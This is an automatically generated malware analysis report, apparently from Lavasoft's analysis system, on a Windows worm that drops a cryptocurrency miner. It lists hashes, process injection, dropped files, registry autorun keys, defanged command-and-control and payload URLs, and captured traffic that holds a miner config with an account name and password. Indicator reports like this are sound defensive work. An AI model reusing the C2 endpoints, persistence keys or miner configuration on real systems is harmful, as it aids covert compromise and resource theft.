Worm.Win32.AutoItGen_1e0321b04b

by malwarelabrobot on July 4th, 2017 in Malware Descriptions.

Trojan.Win32.Scar.pyow (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Artemis!1E0321B04B5F (McAfee), Trojan.Gen.2 (Symantec), Trojan.MSIL.Agent (Ikarus), Win32:Dropper-gen [Drp] (AVG), Win32:Dropper-gen [Drp] (Avast), TROJ_GEN.R00XC0OFR17 (TrendMicro), Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, Trojan.Win32.Swrort.3.FD, VirTool.Win32.DelfInject.FD, Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, WormAutoItGen.YR, GenericPhysicalDrive0.YR (Lavasoft MAS)
Behaviour: Trojan, Worm, VirTool


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 1e0321b04b5f23034f1e26f7f13aca7a
SHA1: 8bf2f6a7145c275e4d7c8cb727a1b4d093ac695c
SHA256: 72577759cbe7828216ca49c90153c869f0e523c63876e58249dbe5b8b4f92c37
SSDeep: 6144:3H92GeQA4W//5u85cb/VNsRB0g3avKEuANHNUAJVHtES4A5049awJ5cOppJv9:3NAt//5t5uXu35vOtUATHtD4Ai4HaO
Size: 297984 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2017-06-22 07:29:01
Analyzed on: Windows7 SP1 32-bit


Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

csc.exe:440
csc.exe:2436
networks.exe:2320
cvtres.exe:3600
cvtres.exe:2424
%original file name%.exe:3884
lcass.exe:4048
bsvpme.exe:2744

The Worm injects its code into the following process(es):

svchosts.exe:2836
networks.exe:2908
evbD681.tmp:1968
ulrxzh.exe:1524

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process svchosts.exe:2836 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll (876 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll (485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll (48 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\log\minergate.log (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\miners.ini (57 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\miners.ini.NE2836 (0 bytes)

The process csc.exe:440 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.dll (2994 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSC369A.tmp (652 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.out (396 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSC369A.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RES369B.tmp (0 bytes)

The process csc.exe:2436 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.out (396 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.dll (2994 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSC15D1.tmp (652 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSC15D1.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RES15D2.tmp (0 bytes)

The process networks.exe:2320 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\system.ini (0 bytes)

The process networks.exe:2908 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbDA78.tmp (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbD681.tmp (5 bytes)

The process evbD681.tmp:1968 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbDC5B.tmp (5 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbB70F.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbDA78.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbD681.tmp (0 bytes)

The process cvtres.exe:3600 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RES15D2.tmp (3666 bytes)

The process cvtres.exe:2424 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RES369B.tmp (3666 bytes)

The process %original file name%.exe:3884 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe (143 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\QSound\lcass.exe (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\lcass.exe (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\moko6mo.zip (3368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe.tmp (2784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sjyumtime_1529409719041.tmp (321 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sjyumtime_1529409719041.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\moko6mo.zip (0 bytes)

The process lcass.exe:4048 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabCC74.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7B8944BA8AD0EFDF0E01A43EF62BECD0_4D4E42909D43C82D97AF8DAB289FD6D7 (1536 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7B8944BA8AD0EFDF0E01A43EF62BECD0_4D4E42909D43C82D97AF8DAB289FD6D7 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xlkfexlkfe.zip (417591 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1212 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.out (303 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarCB99.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.cmdline (236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarE351.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarCC75.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\SynTPHelper.exe:Zone.Identifier (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (1720 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\sysdsengert.xml (462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\SynTPHelper.exe (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\ulrxzh.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\ulrxzh.exe (10682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabE350.tmp (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.0.cs (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabCB98.tmp (51 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabCC74.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\QSound\lcass.exe (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarCB99.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabE350.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.0.cs (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.cmdline (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarE351.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.out (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarCC75.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.err (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabCB98.tmp (0 bytes)

The process bsvpme.exe:2744 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.exe (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SystemCheck.xml (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.bat (352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.dll (90 bytes)

The process ulrxzh.exe:1524 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\platforms\qwindows.dll.tmp (16304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll.tmp (5128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll.tmp (17572 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe.tmp (104386 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll.tmp (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe (1018 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Cab311E.tmp (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.cmdline (236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\vccorlib110.dll.tmp (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Tar311F.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll.tmp (10448 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll.tmp (14600 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll.tmp (71595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\bsvpme.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll.tmp (15568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.out (303 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.0.cs (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\cudart32_60.dll.tmp (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4zdx94zdx9.zip (917437 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\bsvpme.exe (267000 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat:Zone.Identifier (26 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.out (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.0.cs (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4zdx94zdx9.zip (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Cab311E.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.cmdline (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.err (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Tar311F.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.tmp (0 bytes)

Registry activity

The process %original file name%.exe:3884 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASAPI32]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASAPI32]
"EnableConsoleTracing" = "0"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASAPI32]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\1e0321b04b5f23034f1e26f7f13aca7a_RASAPI32]
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3DMonitorEx" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\lcass.exe"

"3DMonitor" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\QSound\lcass.exe"

The Worm deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process lcass.exe:4048 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASMANCS]
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\lcass_RASMANCS]
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Synaptics Pointing Device Helper Update" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\SynTPHelper.exe"

"WindowsData" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs"

"Synaptics Pointing Device Helper" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
"ProxyBypass"

The Worm disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3DMonitorEx"

"3DMonitor"

The process bsvpme.exe:2744 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Worm deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process ulrxzh.exe:1524 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASMANCS]
"FileTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\ulrxzh_RASAPI32]
"FileTracingMask" = "4294901760"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WindowsData" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
"ProxyBypass"

The Worm disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3DMonitor"

Dropped PE files

MD5 File path
bbc1e3ea3e68d2d85a8a803588bcf02a c:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.dll
4f2a4fd76fe01b9e10c9005f311277e1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe
bbc1e3ea3e68d2d85a8a803588bcf02a c:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\ilib.dll
dd54dd7529dec66712bfbba2488e692d c:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\networks.exe
4f2a4fd76fe01b9e10c9005f311277e1 c:\Users\"%CurrentUserName%"\AppData\Roaming\SynTPHelper.exe
9cd1ed04e31fbdce1d71fe0e73107b68 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll
55d64441085b6eab00efdd02676753d3 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll
c820b0e4945d9d3817c399912df82154 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll
2a4a6c3440f3ec27ea7b2ec417808445 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\cudart32_60.dll
1e8bd34482311e751aa976ea6c95d176 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll
2281b176762cb73856c92e7f4ff139a4 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\platforms\qwindows.dll
1ecc163d6180f3de8c00af855ea0a6c3 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll
c84d8f59938900d0fca297df3be8ffbd c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll
e689cefa64997fa01ba6c4f988e2c94f c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe
c5c2295981eedeff9924889a7f084cc2 c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\vccorlib110.dll
51b6be2a8e086fd308a3085c4d22bc03 c:\Users\"%CurrentUserName%"\AppData\Roaming\bsvpme.exe
6ded8fcbf5f1d9e422b327ca51625e24 c:\Users\"%CurrentUserName%"\AppData\Roaming\sysdsengert.xml
d5f01b1442262ff9375bb94c991ea9eb c:\Users\"%CurrentUserName%"\AppData\Roaming\ulrxzh.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: Launcher
Product Version: 1.0.0.0
Legal Copyright: Copyright (c) 2017
Legal Trademarks:
Original Filename: Launcher.exe
Internal Name: Launcher.exe
File Version: 1.0.0.0
File Description: Launcher
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 295316 295424 5.52994 4b0ec17f2e614410423152db5bc07752
.rsrc 311296 1344 1536 2.70402 460937217667aae92dd51de3ffa96914
.reloc 319488 12 512 0.070639 c677a8fe2952f9d1fb66e50d53915436

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://37.9.53.162/config.ini
hxxp://37.9.53.162/connect.php?os=Microsoft Windows 7 Ultimate Service Pack 1&bit=32&ver=3&prog=NULL
hxxp://37.9.53.162/file/update.zip
hxxp://c-0001.c-msedge.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEFIA5aolVvwahu2WydRLM8c=
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTSqZMG5M8TA9rdzkbCnNwuMAd5VgQUz5mp6nsm9EvJjo/X8AUm7+PSp50CEHZm+Im/RCzTFlzWZ5k7XY8=
hxxp://37.9.53.162/instal/config.txt
hxxp://37.9.53.162/instal/panel/page.php
hxxp://37.9.53.162/instal/zip.dat
hxxp://37.9.53.162/instal/uribr.exe
hxxp://37.9.53.162/instal/data32.zip
hxxp://37.9.53.162/instal/bot/page.php
hxxp://37.9.53.162/instal/spools.exe
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab 13.107.4.50
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEFIA5aolVvwahu2WydRLM8c= 23.37.43.27
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTSqZMG5M8TA9rdzkbCnNwuMAd5VgQUz5mp6nsm9EvJjo/X8AUm7+PSp50CEHZm+Im/RCzTFlzWZ5k7XY8= 23.37.43.27
google.ru 216.58.214.227
teredo.ipv6.microsoft.com 157.56.120.207
dns.msftncsi.com 131.107.255.255


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Possible Windows executable sent when remote host claims to send html content
ET POLICY PE EXE or DLL Windows file download HTTP
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Traffic

GET /config.ini HTTP/1.1
Host: 37.9.53.162
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:30 GMT
Content-Type: text/plain
Content-Length: 321
Connection: keep-alive
Last-Modified: Wed, 28 Jun 2017 01:18:02 GMT
ETag: "8a0014-141-552faf4910680"
Accept-Ranges: bytes
[File]..version=5..restartExe=2..urlExe32=hXXp://37.9.53.162/file/data
32.zip..urlExe32Ver=2..urlExe64=hXXp://37.9.53.162/file/data64.zip..ur
lExe64Ver=2..urlLauncher=hXXp://37.9.53.162/file/update.zip..urlRunExe
=..CPU=..GPU=2..pass=hy62iy8fasvdaksdugo2b123onsdfgyi923bffsdf1....[We
b]..user=gankmonk@mail.ru..currency=xmrHTTP/1.1 200 OK..Server: nginx.
.Date: Mon, 03 Jul 2017 14:55:30 GMT..Content-Type: text/plain..Conten
t-Length: 321..Connection: keep-alive..Last-Modified: Wed, 28 Jun 2017
01:18:02 GMT..ETag: "8a0014-141-552faf4910680"..Accept-Ranges: bytes.
.[File]..version=5..restartExe=2..urlExe32=hXXp://37.9.53.162/file/dat
a32.zip..urlExe32Ver=2..urlExe64=hXXp://37.9.53.162/file/data64.zip..u
rlExe64Ver=2..urlLauncher=hXXp://37.9.53.162/file/update.zip..urlRunEx
e=..CPU=..GPU=2..pass=hy62iy8fasvdaksdugo2b123onsdfgyi923bffsdf1....[W
eb]..user=gankmonk@mail.ru..currency=xmr
....



GET /file/update.zip HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:30 GMT
Content-Type: application/zip
Content-Length: 75839
Last-Modified: Wed, 28 Jun 2017 01:15:33 GMT
Connection: keep-alive
ETag: "59530335-1283f"
Accept-Ranges: bytes
